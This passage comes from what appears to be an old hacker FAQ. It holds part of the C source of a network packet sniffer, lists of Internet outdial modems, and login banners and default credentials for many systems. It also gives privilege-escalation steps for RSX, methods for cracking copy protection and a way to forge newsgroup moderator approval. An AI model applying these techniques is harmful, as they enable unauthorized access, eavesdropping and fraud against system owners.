- Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
-
- timeout.tv_sec = 1;
- timeout.tv_usec = 0;
- si.ic_cmd = NIOCSTIME;
- si.ic_len = sizeof(timeout);
- si.ic_dp = (char *)&timeout;
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
-
- si.ic_cmd = NIOCSCHUNK;
- si.ic_len = sizeof(chunksize);
- si.ic_dp = (char *)&chunksize;
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
-
- strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
- ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
- si.ic_cmd = NIOCBIND;
- si.ic_len = sizeof(ifr);
- si.ic_dp = (char *)𝔦
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
-
- si.ic_cmd = NIOCSFLAGS;
- si.ic_len = sizeof(if_flags);
- si.ic_dp = (char *)&if_flags;
- if(ioctl(if_fd, I_STR, (char *)&si) < 0)
- Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
-
- if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
- Pexit(1,"Eth: ioctl (I_FLUSH)");
- }
-
- while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
- register char *bp = buf,
- *bufstop = (buf + cc);
-
- while (bp < bufstop) {
- register char *cp = bp;
- register struct nit_bufhdr *hdrp;
-
- hdrp = (struct nit_bufhdr *)cp;
- cp += sizeof(struct nit_bufhdr);
- bp += hdrp->nhb_totlen;
- filter(cp, (u_long)hdrp->nhb_msglen);
- }
- }
- Pexit((-1),"Eth: read");
- }
- /* Authorize your proogie,generate your own password and uncomment here */
- /* #define AUTHPASSWD "EloiZgZejWyms" */
-
- void getauth()
- { char *buf,*getpass(),*crypt();
- char pwd[21],prmpt[81];
-
- strcpy(pwd,AUTHPASSWD);
- sprintf(prmpt,"(%s)UP? ",ProgName);
- buf=getpass(prmpt);
- if(strcmp(pwd,crypt(buf,pwd)))
- exit(1);
- }
- */
- void main(argc, argv)
- int argc;
- char **argv;
- {
- char cbuf[BUFSIZ];
- struct ifconf ifc;
- int s,
- ac=1,
- backg=0;
-
- ProgName=argv[0];
-
- /* getauth(); */
-
- LOG=NULL;
- device=NULL;
- while((ac<argc) && (argv[ac][0] == '-')) {
- register char ch = argv[ac++][1];
- switch(toupper(ch)) {
- case 'I': device=argv[ac++];
- break;
- case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
- Zexit(1,"Output file cant be opened\n");
- break;
- case 'B': backg=1;
- break;
- case 'D': debug=1;
- break;
- default : fprintf(ERR,
- "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
- ProgName);
- exit(1);
- }
- }
-
- if(!device) {
- if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
- Pexit(1,"Eth: socket");
-
- ifc.ifc_len = sizeof(cbuf);
- ifc.ifc_buf = cbuf;
- if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
- Pexit(1,"Eth: ioctl");
-
- close(s);
- device = ifc.ifc_req->ifr_name;
- }
-
- fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
- fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
- (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
-
- if(!LOG)
- LOG=stdout;
-
- signal(SIGINT, death);
- signal(SIGTERM,death);
- signal(SIGKILL,death);
- signal(SIGQUIT,death);
-
- if(backg && debug) {
- fprintf(ERR,"[Cannot bg with debug on]\n");
- backg=0;
- }
-
- if(backg) {
- register int s;
-
- if((s=fork())>0) {
- fprintf(ERR,"[pid %d]\n",s);
- exit(0);
- } else if(s<0)
- Pexit(1,"fork");
-
- if( (s=open("/dev/tty",O_RDWR))>0 ) {
- ioctl(s,TIOCNOTTY,(char *)NULL);
- close(s);
- }
- }
- fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
- fflush(LOG);
-
- do_it();
- }
-
-
- 18. What is an Internet Outdial?
-
- An Internet outdial is a modem connected to the Internet than you can
- use to dial out. Normal outdials will only call local numbers. A GOD
- (Global OutDial) is capable of calling long distance. Outdials are an
- inexpensive method of calling long distance BBS's.
-
-
- 19. What are some Internet Outdials?
-
- This FAQ answer is excerpted from CoTNo #5:
-
- Internet Outdial List v3.0
- by Cavalier and DisordeR
-
-
- Introduction
- ------------
- There are several lists of Internet outdials floating around the net these
- days. The following is a compilation of other lists, as well as v2.0 by
- DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
- just ripped other people and released it, we have sat down and tested
- each one of these. Some of them we have gotten "Connection Refused" or
- it timed out while trying to connect...these have been labeled dead.
-
-
- Working Outdials
- ----------------
- as of 12/29/94
-
- NPA IP Address Instructions
- --- ---------- ------------
- 215 isn.upenn.edu modem
-
- 217 dialout.cecer.army.mil atdt x,xxxXXXXX
-
- 218 modem.d.umn.edu atdt9,xxxXXXX
-
- 303 yuma.acns.colostate.edu 3020
-
- 412 gate.cis.pitt.edu tn3270,
- connect dialout.pitt.edu,
- atdtxxxXXXX
-
- 413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
-
- 502 outdial.louisville.edu
-
- 502 uknet.uky.edu connect kecnet
- @ dial: "outdial2400 or out"
-
- 602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
-
- 614 ns2400.acs.ohio-state.edu
-
- 614 ns9600.acs.ohio-state.edu
-
- 713 128.249.27.153 atdt x,xxxXXXX
-
- 714 modem.nts.uci.edu atdt[area]0[phone]
-
- 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
-
- 804 ublan2.acc.virginia.edu connect telnet
- connect hayes
-
-
-
- Need Password
- -------------
-
- 206 rexair.cac.washington.edu This is an unbroken password
- 303 yuma.ACNS.ColoState.EDU login: modem
- 404 128.140.1.239 .modem8|CR
- 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
- 514 cartier.CC.UMontreal.CA externe,9+number
- 703 wal-3000.cns.vt.edu dial2400 -aa
-
-
- Dead/No Connect
- ---------------
-
- 201 idsnet
- 202 modem.aidt.edu
- 204 dial.cc.umanitoba.ca
- 204 umnet.cc.manitoba.ca "dial12" or "dial24"
- 206 dialout24.cac.washington.edu
- 207 modem-o.caps.maine.edu
- 212 B719-7e.NYU.EDU dial3/dial12/dial24
- 212 B719-7f.NYU.EDU dial3/dial12/dial24
- 212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
- 212 FREE-138-229.NYU.EDU dial3/dial12/dial24
- 212 UP19-4b.NYU.EDU dial3/dial12/dial24
- 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
- 218 aa28.d.umn.edu "cli" "rlogin modem"
- at "login:" type "modem"
- 218 modem.d.umn.edu Hayes 9,XXX-XXXX
- 301 dial9600.umd.edu
- 305 alcat.library.nova.edu
- 305 office.cis.ufl.edu
- 307 modem.uwyo.edu Hayes 0,XXX-XXXX
- 313 35.1.1.6 dial2400-aa or dial1200-aa
- or dialout
- 402 dialin.creighton.edu
- 402 modem.criegthon.edu
- 404 broadband.cc.emory.edu ".modem8" or ".dialout"
- 408 dialout.scu.edu
- 408 dialout1200.scu.edu
- 408 dialout2400.scu.edu
- 408 dialout9600.scu.edu
- 413 dialout.smith.edu
- 414 modems.uwp.edu
- 416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
- 416 pacx.utcs.utoronto.ca modem
- 503 dialout.uvm.edu
- 513 dialout24.afit.af.mil
- 513 r596adi1.uc.edu
- 514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
- 517 engdial.cl.msu.edu
- 602 dial9600.telcom.arizona.edu
- 603 dialout1200.unh.edu
- 604 dial24-nc00.net.ubc.ca
- 604 dial24-nc01.net.ubc.ca
- 604 dial96-np65.net.ubc.ca
- 604 gmodem.capcollege.bc.ca
- 604 hmodem.capcollege.bc.ca
- 609 128.119.131.11X (X= 1 - 4) Hayes
- 609 129.119.131.11x (x = 1 to 4)
- 609 wright-modem-1.rutgers.edu
- 609 wright-modem-2.rutgers.edu
- 612 modem_out12e7.atk.com
- 612 modem_out24n8.atk.com
- 614 ns2400.ircc.ohio-state.edu "dial"
- 615 dca.utk.edu dial2400 D 99k #
- 615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
- 616 modem.calvin.edu
- 617 128.52.30.3 2400baud
- 617 dialout.lcs.mit.edu
- 617 dialout1.princeton.edu
- 617 isdn3.Princeton.EDU
- 617 jadwingymkip0.Princeton.EDU
- 617 lord-stanley.Princeton.EDU
- 617 mpanus.Princeton.EDU
- 617 mrmodem.wellesley.edu
- 617 old-dialout.Princeton.EDU
- 617 stagger.Princeton.EDU
- 617 sunshine-02.lcs.mit.edu
- 617 waddle.Princeton.EDU
- 619 128.54.30.1 atdt [area][phone]
- 619 dialin.ucsd.edu "dialout"
- 703 modem_pool.runet.edu
- 703 wal-3000.cns.vt.edu
- 713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
- or "Hayes"
- 713 modem12.bcm.tmc.edu
- 713 modem24.bcm.tmc.edu
- 713 modem24.bcm.tmc.edu
- 714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
- 714 modem24.nts.uci.edu
- 714 pub-gopher.cwis.uci.edu
- 801 dswitch.byu.edu "C Modem"
- 808 irmodem.ifa.hawaii.edu
- 902 star.ccs.tuns.ca "dialout"
- 916 129.137.33.72
- 916 cc-dnet.ucdavis.edu connect hayes/dialout
- 916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
- ??? 128.119.131.11X (1 - 4)
- ??? 128.200.142.5
- ??? 128.54.30.1 nue, X to discontinue, ? for Help
- ??? 128.6.1.41
- ??? 128.6.1.42
- ??? 129.137.33.72
- ??? 129.180.1.57
- ??? 140.112.3.2 ntu <none>
- ??? annexdial.rz.uni-duesseldorf.de
- ??? dial96.ncl.ac.uk
- ??? dialout.plk.af.mil
- ??? ee21.ee.ncu.edu.tw cs8005
- ??? im.mgt.ncu.edu.tw guest <none>
- ??? modem.cis.uflu.edu
- ??? modem.ireq.hydro.qc.ca
- ??? modems.csuohio.edu
- ??? sparc20.ncu.edu.tw u349633
- ??? sun2cc.nccu.edu.tw ?
- ??? ts-modem.une.oz.au
- ??? twncu865.ncu.edu.tw guest <none>
- ??? vtnet1.cns.ut.edu "CALL" or "call"
-
-
- Conclusion
- ----------
- If you find any of the outdials to have gone dead, changed commands,
- or require password, please let us know so we can keep this list as
- accurate as possible. If you would like to add to the list, feel free
- to mail us and it will be included in future versions of this list,
- with your name beside it. Have fun...
-
- [Editors note: Updates have been made to this document after
- the original publication]
-
-
- 20. What is this system?
-
-
- AIX
- ~~~
- IBM AIX Version 3 for RISC System/6000
- (C) Copyrights by IBM and by others 1982, 1990.
- login:
-
- [You will know an AIX system because it is the only Unix system that]
- [clears the screen and issues a login prompt near the bottom of the]
- [screen]
-
-
- AS/400
- ~~~~~~
- UserID?
- Password?
-
- Once in, type GO MAIN
-
-
- CDC Cyber
- ~~~~~~~~~
- WELCOME TO THE NOS SOFTWARE SYSTEM.
- COPYRIGHT CONTROL DATA 1978, 1987.
-
- 88/02/16. 02.36.53. N265100
- CSUS CYBER 170-730. NOS 2.5.2-678/3.
- FAMILY:
-
- You would normally just hit return at the family prompt. Next prompt is:
-
- USER NAME:
-
-
- CISCO Router
- ~~~~~~~~~~~~
- FIRST BANK OF TNO
- 95-866 TNO VirtualBank
- REMOTE Router - TN043R1
-
- Console Port
-
- SN - 00000866
-
- TN043R1>
-
-
- DECserver
- ~~~~~~~~~
- DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
- DPS502-DS700
-
- (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
-
- Please type HELP if you need assistance
-
- Enter username> TNO
-
- Local>
-
-
- Hewlett Packard MPE-XL
- ~~~~~~~~~~~~~~~~~~~~~~
- MPE XL:
- EXPECTED A :HELLO COMMAND. (CIERR 6057)
- MPE XL:
- EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
- MPE XL:
-
-
- GTN
- ~~~
- WELCOME TO CITIBANK. PLEASE SIGN ON.
- XXXXXXXX
-
- @
- PASSWORD =
-
- @
-
- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
- PLEASE ENTER YOUR ID:-1->
- PLEASE ENTER YOUR PASSWORD:-2->
-
- CITICORP (CITY NAME). KEY GHELP FOR HELP.
- XXX.XXX
- PLEASE SELECT SERVICE REQUIRED.-3->
-
-
- Lantronix Terminal Server
- ~~~~~~~~~~~~~~~~~~~~~~~~~
- Lantronix ETS16 Version V3.1/1(940623)
-
- Type HELP at the 'Local_15> ' prompt for assistance.
-
- Login password>
-
-
- Meridian Mail (Northern Telecom Phone/Voice Mail System)
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- MMM MMMERIDIAN
- MMMMM MMMMM
- MMMMMM MMMMMM
- MMM MMMMM MMM MMMMM MMMMM
- MMM MMM MMM MMMMMM MMMMMM
- MMM MMM MMM MMM MMM MMM
- MMM MMM MMM MMMMM MMM
- MMM MMM MMM MMM MMM
- MMM MMM MMM MMM
- MMM MMM MMM MMM
- MMM MMM MMM MMM
- MMM MMM MMM MMM
- MMM MMM MMM MMM
-
- Copyright (c) Northern Telecom, 1991
-
-
- Novell ONLAN
- ~~~~~~~~~~~~
- N
-
- [To access the systems it is best to own a copy of ONLAN/PC]
-
-
- PC-Anywhere
- ~~~~~~~~~~~
- P
-
- [To access the systems it is best to own a copy of PCAnywhere Remote]
-
-
- PRIMOS
- ~~~~~~
- PRIMENET 19.2.7F PPOA1
-
- <any text>
-
- ER!
-
- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
- CONNECT
- Primenet V 2.3 (system)
- LOGIN (you)
- User id? (system)
- SAPB5 (you)
- Password? (system)
- DROWSAP (you)
- OK, (system)
-
-
- ROLM CBX II
- ~~~~~~~~~~~
- ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
- BIND DATE: 7/APR/93
- COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
- ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
- YOU HAVE ENTERED CPU 1
- 12:38:47 ON WEDNESDAY 2/15/1995
-
- USERNAME: op
-
- PASSWORD:
-
- INVALID USERNAME-PASSWORD PAIR
-
-
- ROLM-OSL
- ~~~~~~~~
- MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
- RELEASE 8003
- OSL, PLEASE.
- ?
-
-
- System75
- ~~~~~~~~
- Login: root
- INCORRECT LOGIN
-
- Login: browse
- Password:
-
- Software Version: G3s.b16.2.2
-
- Terminal Type (513, 4410, 4425): [513]
-
-
- Tops-10
- ~~~~~~~
- NIH Timesharing
-
- NIH Tri-SMP 7.02-FF 16:30:04 TTY11
- system 1378/1381/1453 Connected to Node Happy(40) Line # 12
- Please LOGIN
- .
-
-
- VM/370
- ~~~~~~
- VM/370
- !
-
-
- VM/ESA
- ~~~~~~
- VM/ESA ONLINE
-
- TBVM2 VM/ESA Rel 1.1 PUT 9200
-
- Fill in your USERID and PASSWORD and press ENTER
- (Your password will not appear when you type it)
- USERID ===>
- PASSWORD ===>
-
- COMMAND ===>
-
-
- Xylogics Annex Communications Server
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
-
- Checking authorization, Please wait...
- Annex username: TNO
- Annex password:
-
- Permission granted
- annex:
-
-
- 21. What are the default accounts for XXX?
-
- AIX
- ~~~
- guest guest
-
-
- AS/400
- ~~~~~~
- qsecofr qsecofr /* master security officer */
- qsysopr qsysopr /* system operator */
- qpgmr qpgmr /* default programmer */
-
- also
-
- ibm/password
- ibm/2222
- ibm/service
- qsecofr/1111111
- qsecofr/2222222
- qsvr/qsvr
- secofr/secofr
-
-
- DECserver
- ~~~~~~~~~
- ACCESS
- SYSTEM
-
-
- Dynix (The library software, not the UnixOS)
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- (Type 'later' to exit to the login prompt)
- setup <no password>
- library <no password>
- circ <9 digit number>
-
-
- Hewlett Packard MPE-XL
- ~~~~~~~~~~~~~~~~~~~~~~
- HELLO MANAGER.SYS
- HELLO MGR.SYS
- HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
- HELLO OP.OPERATOR
- MGR CAROLIAN
- MGR CCC
- MGR CNAS
- MGR CONV
- MGR COGNOS
- OPERATOR COGNOS
- MANAGER COGNOS
- OPERATOR DISC
- MGR HPDESK
- MGR HPWORD
- FIELD HPWORD
- MGR HPOFFICE
- SPOOLMAN HPOFFICE
- ADVMAIL HPOFFICE
- MAIL HPOFFICE
- WP HPOFFICE
- MANAGER HPOFFICE
- MGR HPONLY
- FIELD HPP187
- MGR HPP187
- MGR HPP189
- MGR HPP196
- MGR INTX3
- MGR ITF3000
- MANAGER ITF3000
- MAIL MAIL
- MGR NETBASE
- MGR REGO
- MGR RJE
- MGR ROBELLE
- MANAGER SECURITY
- MGR SECURITY
- FIELD SERVICE
- MANAGER SYS
- MGR SYS
- PCUSER SYS
- RSBCMON SYS
- OPERATOR SYS
- OPERATOR SYSTEM
- FIELD SUPPORT
- OPERATOR SUPPORT
- MANAGER TCH
- MAIL TELESUP
- MANAGER TELESUP
- MGR TELESUP
- SYS TELESUP
- MGE VESOFT
- MGE VESOFT
- MGR WORD
- MGR XLSERVER
-
- Common jobs are Pub, Sys, Data
- Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
-
-
- Major BBS
- ~~~~~~~~~
- Sysop Sysop
-
-
- Mitel PBX
- ~~~~~~~~~
- SYSTEM
-
-
- NeXTSTEP
- ~~~~~~~~
- root NeXT
- signa signa
-
-
- Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- fax <no password>
-
-
- PICK O/S
- ~~~~~~~~
- DSA # Desquetop System Administrator
- DS
- DESQUETOP
- PHANTOM
-
-
- Prolog
- ~~~~~~
- PBX PBX
- NETWORK NETWORK
- NETOP <null>
-
-
- Rolm
- ~~~~
- CBX Defaults
-
- op op
- op operator
- su super
- admin pwp
- eng engineer
-
-
- PhoneMail Defaults
-
- sysadmin sysadmin
- tech tech
- poll tech
-
-
- RSX
- ~~~
- SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
- 1,1/system (Directory [1,1] Password SYSTEM)
- BATCH/BATCH
- SYSTEM/MANAGER
- USER/USER
-
- Default accounts for Micro/RSX:
-
- MICRO/RSX
-
- Alternately you can hit <CTRL-Z> when the boot sequence asks you for the
- date and create an account using:
-
- RUN ACNT
- or RUN $ACNT
-
- (Numbers below 10 {oct} are Priveleged)
-
- Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
- type "abo at." You must include the . dot!
-
- If this works, type "acs lb0:/blks=1000" to get some swap space so the
- new step won't wedge.
-
- type " run $acnt" and change the password of any account with a group
- number of 7 or less.
-
- You may find that the ^C does not work. Try ^Z and ESC as well.
- Also try all 3 as terminators to valid and invalid times.
-
- If none of the above work, use the halt switch to halt the system,
- just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
- then deposit 177777 into R6, cross your fingers, write protect the drive
- and continue the system. This will hopefully result in indirect blowing
- up... And hopefully the system has not been fully secured.
-
-
- SGI Irix
- ~~~~~~~~
- 4DGifts <no password>
- guest <no password>
- demos <no password>
- lp <no password>
- nuucp <no password>
- tour <no password>
- tutor <no password>
-
-
- System 75
- ~~~~~~~~~
- bcim bcimpw
- bciim bciimpw
- bcms bcmspw, bcms
- bcnas bcnspw
- blue bluepw
- browse looker, browsepw
- craft crftpw, craftpw, crack
- cust custpw
- enquiry enquirypw
- field support
- inads indspw, inadspw, inads
- init initpw
- kraft kraftpw
- locate locatepw
- maint maintpw, rwmaint
- nms nmspw
- rcust rcustpw
- support supportpw
- tech field
-
-
- Taco Bell
- ~~~~~~~~~
- rgm rollout
- tacobell <null>
-
-
- Verifone Junior 2.05
- ~~~~~~~~~~~~~~~~~~~~
- Default password: 166816
-
-
- VMS
- ~~~
- field service
- systest utep
-
-
- XON / XON Junior
- ~~~~~~~~~~~~~~~~
- Default password: 166831
-
-
- 22. What port is XXX on?
-
- The file /etc/services on most Unix machines lists the port
- assignments for that machine. For a complete list of port
- assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"
-
-
- 23. What is a trojan/worm/virus/logic bomb?
-
- This FAQ answer was written by Theora:
-
- Trojan:
-
- Remember the Trojan Horse? Bad guys hid inside it until they could
- get into the city to do their evil deed. A trojan computer program is
- similar. It is a program which does an unauthorized function, hidden
- inside an authorized program. It does something other than what it
- claims to do, usually something malicious (although not necessarily!),
- and it is intended by the author to do whatever it does. If it's not
- intentional, its called a 'bug' or, in some cases, a feature :) Some
- virus scanning programs detect some trojans. Some virus scanning
- programs don't detect any trojans. No virus scanners detect all
- trojans.
-
- Virus:
-
- A virus is an independent program which reproduces itself. It may
- attach to other programs, it may create copies of itself (as in
- companion viruses). It may damage or corrupt data, change data, or
- degrade the performance of your system by utilizing resources such as
- memory or disk space. Some virus scanners detect some viruses. No
- virus scanners detect all viruses. No virus scanner can protect
- against "any and all viruses, known and unknown, now and forevermore".
-
- Worm:
-
- Made famous by Robert Morris, Jr. , worms are programs which reproduce
- by copying themselves over and over, system to system, using up
- resources and sometimes slowing down the systems. They are self
- contained and use the networks to spread, in much the same way viruses
- use files to spread. Some people say the solution to viruses and
- worms is to just not have any files or networks. They are probably
- correct. We would include computers.
-
- Logic Bomb:
-
- Code which will trigger a particular form of 'attack' when a
- designated condition is met. For instance, a logic bomb could delete
- all files on Dec. 5th. Unlike a virus, a logic bomb does not make
- copies of itself.
-
-
- 24. How can I protect myself from viruses and such?
-
- This FAQ answer was written by Theora:
-
- The most common viruses are boot sector infectors. You can help
- protect yourself against those by write protecting all disks which you
- do not need write access to. Definitely keep a set of write protected
- floppy system disks. If you get a virus, it will make things much
- simpler. And, they are good for coasters. Only kidding.
-
- Scan all incoming files with a recent copy of a good virus scanner.
- Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
- Thunderbyte Anti-Virus. AVP is also a good proggie. Using more than
- one scanner could be helpful. You may get those one or two viruses
- that the other guy happened to miss this month.
-
- New viruses come out at the rate of about 8 per day now. NO scanner
- can keep up with them all, but the four mentioned here do the best job
- of keeping current. Any _good_ scanner will detect the majority of
- common viruses. No virus scanner will detect all viruses.
-
- Right now there are about 5600 known viruses. New ones are written
- all the time. If you use a scanner for virus detection, you need to
- make sure you get frequent updates. If you rely on behaviour
- blockers, you should know that such programs can be bypassed easily by
- a technique known as tunnelling.
-
- You may want to use integrity checkers as well as scanners. Keep in
- mind that while these can supply added protection, they are not
- foolproof.
-
- You may want to use a particular kind of scanner, called resident
- scanners. Those are programs which stay resident in the computer
- memory and constantly monitor program execution (and sometimes even
- access to the files containing programs). If you try to execute a
- program, the resident scanner receives control and scans it first for
- known viruses. Only if no such viruses are found, the program is
- allowed to execute.
-
- Most virus scanners will not protect you against many kinds of
- trojans, any sort of logic bombs, or worms. Theoretically, they
- _could_ protect you against logic bombs and/or worms, by addition of
- scanning strings; however, this is rarely done.
-
- The best, actually only way, to protect yourself is to know what you
- have on your system and make sure what you have there is authorised by
- you. Make freqent backups of all important files. Keep your DOS
- system files write protected. Write protect all disks that you do not
- need to write to. If you do get a virus, don't panic. Call the
- support department of the company who supplies your anti-virus product
- if you aren't sure of what you are doing. If the company you got your
- anti-virus software from does not have a good technical support
- department, change companies.
-
- The best way to make sure viruses are not spread is not to spread
- them. Some people do this intentionally. We discourage this. Viruses
- aren't cool.
-
-
- 25. Where can I get more information about viruses?
-
- This FAQ answer was written by Theora:
-
- Assembly lanaguage programming books illustrate the (boring) aspect of
- replication and have for a long time. The most exciting/interesting
- thing about viruses is all the controversy around them. Free speech,
- legality, and cute payloads are a lot more interesting than "find
- first, find next" calls. You can get information about the technical
- aspects of viruses, as well as help if you should happen to get a
- virus, from the virus-l FAQ, posted on comp. virus every so often.
- You can also pick up on the various debates there. There are
- alt.virus type newsgroups, but the level of technical expertise is
- minimal, and so far at least there has not been a lot of real "help"
- for people who want to get -rid- of a virus.
-
- There are a lot of virus experts. To become one, just call yourself
- one. Only Kidding. Understanding viruses involves understanding
- programming, operating systems, and their interaction. Understanding
- all of the 'Cult of Virus' business requires a lot of discernment.
- There are a number of good papers available on viruses, and the Cult
- of Virus; you can get information on them from just about anyone
- listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de
- is a pretty reliable site for proggies and text.
-
-
- 26. What is Cryptoxxxxxxx?
-
- This FAQ answer is excerpted from: Computer Security Basics
- by Deborah Russell
- and G.T. Gengemi Sr.
-
- A message is called either plaintext or cleartext. The process of
- disguising a message in such a way as to hide its substance is called
- encryption. An encrypted message is called ciphertext. The process
- of turning ciphertext back into plaintext is called decryption.
-
- The art and science of keeping messages secure is called cryptography,
- and it is practiced by cryptographers. Cryptanalysts are
- practitioners of cryptanalysis, the art and science of breaking
- ciphertext, i.e. seeing through the disguise. The branch of
- mathematics embodying both cryptography and cryptanalysis is called
- cryptology, and it's practitioners are called cryptologists.
-
-
- 27. What is PGP?
-
- This FAQ answer is excerpted from: PGP(tm) User's Guide
- Volume I: Essential Topics
- by Philip Zimmermann
-
- PGP(tm) uses public-key encryption to protect E-mail and data files.
- Communicate securely with people you've never met, with no secure
- channels needed for prior exchange of keys. PGP is well featured and
- fast, with sophisticated key management, digital signatures, data
- compression, and good ergonomic design.
-
- Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
- high security cryptographic software application for MS-DOS, Unix,
- VAX/VMS, and other computers. PGP allows people to exchange files or
- messages with privacy, authentication, and convenience. Privacy means
- that only those intended to receive a message can read it.
- Authentication means that messages that appear to be from a particular
- person can only have originated from that person. Convenience means
- that privacy and authentication are provided without the hassles of
- managing keys associated with conventional cryptographic software. No
- secure channels are needed to exchange keys between users, which makes
- PGP much easier to use. This is because PGP is based on a powerful
- new technology called "public key" cryptography.
-
- PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
- public key cryptosystem with the speed of conventional cryptography,
- message digests for digital signatures, data compression before
- encryption, good ergonomic design, and sophisticated key management.
- And PGP performs the public-key functions faster than most other
- software implementations. PGP is public key cryptography for the
- masses.
-
-
- 28. What is Tempest?
-
- Tempest stands for Transient Electromagnetic Pulse Surveillance
- Technology.
-
- Computers and other electronic equipment release interference to their
- surrounding environment. You may observe this by placing two video
- monitors close together. The pictures will behave erratically until
- you space them apart.
-
- Although most of the time these emissions are simply annoyances, they
- can sometimes be very helpful. Suppose we wanted to see what project
- a target was working on. We could sit in a van outside her office and
- use sensitive electronic equipment to attempt to pick up and decipher
- the emanations from her video monitor.
-
- Our competitor, however, could shield the emanations from her
- equipment or use equipment without strong emanations.
-
- Tempest is the US Government program for evaluation and endorsement
- of electronic equipment that is safe from eavesdropping.
-
-
- 29. What is an anonymous remailer?
-
- An anonymous remailer is a system on the Internet that allows you to
- send e-mail anonymously or post messages to Usenet anonymously.
-
- You apply for an anonymous ID at the remailer site. Then, when you
- send a message to the remailer, it sends it out from your anonymous ID
- at the remailer. No one reading the post will know your real account
- name or host name. If someone sends a message to your anonymous ID,
- it will be forwarded to your real account by the remailer.
-
-
- 30. What are the addresses of some anonymous remailers?
-
- The most popular and stable anonymous remailer is anon.penet.fi,
- operated by Johan Helsingus. To obtain an anonymous ID, mail
- ping@anon.penet.fi. For assistance is obtaining an anonymous account
- at penet, mail help@anon.penet.fi.
-
- To see a list on anonymous remailers, finger
- remailer-list@kiwi.cs.berkeley.edu.
-
-
- 31. How do I defeat Copy Protection?
-
- There are two common methods of defeating copy protection. The first
- is to use a program that removes copy protection. Popular programs
- that do this are CopyIIPC from Central Point Software and CopyWrite
- from Quaid Software. The second method involves patching the copy
- protected program. For popular software, you may be able to locate a
- ready made patch. You can them apply the patch using any hex editor,
- such as debug or the Peter Norton's DiskEdit. If you cannot, you must
- patch the software yourself.
-
- Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
- also requires some knowledge of assembly language. Load the protected
- program under the debugger and watch for it to check the protection
- mechanism. When it does, change that portion of the code. The code
- can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
- JMP (Jump Unconditionally). Or the code may simply be replaced with
- NOP (No Operation) instructions.
-
-
- 32. What is 127.0.0.1?
-
- 127.0.0.1 is a loopback network connection. If you telnet, ftp, etc...
- to it you are connected to your own machine.
-
-
- 33. How do I post to a moderated newsgroup?
-
- Usenet messages consist of message headers and message bodies. The
- message header tells the news software how to process the message.
- Headers can be divided into two types, required and optional. Required
- headers are ones like "From" and "Newsgroups." Without the required
- headers, your message will not be posted properly.
-
- One of the optional headers is the "Approved" header. To post to a
- moderated newsgroup, simply add an Approved header line to your
- message header. The header line should contain the newsgroup
- moderators e-mail address. To see the correct format for your target
- newsgroup, save a message from the newsgroup and then look at it using
- any text editor.
-
- A "Approved" header line should look like this:
-
- Approved: will@gnu.ai.mit.edu
-
- There cannot not be a blank line in the message header. A blank line
